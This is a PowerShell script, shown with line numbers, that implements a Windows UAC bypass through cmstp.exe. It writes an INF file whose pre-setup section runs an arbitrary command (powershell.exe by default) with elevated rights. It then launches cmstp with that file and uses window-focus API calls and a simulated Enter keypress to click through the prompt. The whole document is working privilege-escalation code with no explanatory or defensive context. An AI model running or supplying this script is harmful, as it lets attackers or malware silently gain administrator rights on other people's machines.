t1fHbL5u

1
2Function script:Set-INFFile {
3[CmdletBinding()]
4	Param (
5	[Parameter(HelpMessage="Specify the INF file location")]
6	$InfFileLocation = "$env:temp\CMSTP.inf",
7	
8	[Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
9	[String]$CommandToExecute = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
10	)
11
12$InfContent = @"
13[version]
14Signature=`$chicago`$
15AdvancedINF=2.5
16
17[DefaultInstall]
18CustomDestination=CustInstDestSectionAllUsers
19RunPreSetupCommands=RunPreSetupCommandsSection
20
21[RunPreSetupCommandsSection]
22; Commands Here will be run Before Setup Begins to install
23$CommandToExecute
24taskkill /IM cmstp.exe /F
25
26[CustInstDestSectionAllUsers]
2749000,49001=AllUSer_LDIDSection, 7
28
29[AllUSer_LDIDSection]
30"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
31
32[Strings]
33ServiceName="CorpVPN"
34ShortSvcName="CorpVPN"
35
36"@
37
38$InfContent | Out-File $InfFileLocation -Encoding ASCII
39}
40
41
42Function Get-Hwnd
43{
44  [CmdletBinding()]
45    
46  Param
47  (
48    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName
49  )
50  Process
51    {
52        $ErrorActionPreference = 'Stop'
53        Try 
54        {
55            $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle
56        }
57        Catch 
58        {
59            $hwnd = $null
60        }
61        $hash = @{
62        ProcessName = $ProcessName
63        Hwnd        = $hwnd
64        }
65        
66    New-Object -TypeName PsObject -Property $hash
67    }
68}
69
70function Set-WindowActive
71{
72  [CmdletBinding()]
73
74  Param
75  (
76    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name
77  )
78  
79  Process
80  {
81    $memberDefinition = @'
82    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
83    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
84
85'@
86
87    Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32
88    $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd
89    If ($hwnd) 
90    {
91      $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)
92      [User32.Api]::SetForegroundWindow($hwnd)
93      [User32.Api]::ShowWindow($hwnd, 5)
94    }
95    Else 
96    {
97      [string] $hwnd = 'N/A'
98    }
99
100    $hash = @{
101      Process = $Name
102      Hwnd    = $hwnd
103    }
104        
105    New-Object -TypeName PsObject -Property $hash
106  }
107}
108
109. Set-INFFile
110#Needs Windows forms
111add-type -AssemblyName System.Windows.Forms
112If (Test-Path $InfFileLocation) {
113#Command to run
114$ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
115$ps.Arguments = "/au $InfFileLocation"
116$ps.UseShellExecute = $false
117
118#Start it
119[system.diagnostics.process]::Start($ps)
120
121do
122{
123	# Do nothing until cmstp is an active window
124}
125until ((Set-WindowActive cmstp).Hwnd -ne 0)
126
127
128#Activate window
129Set-WindowActive cmstp
130
131#Send the Enter key
132[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
133}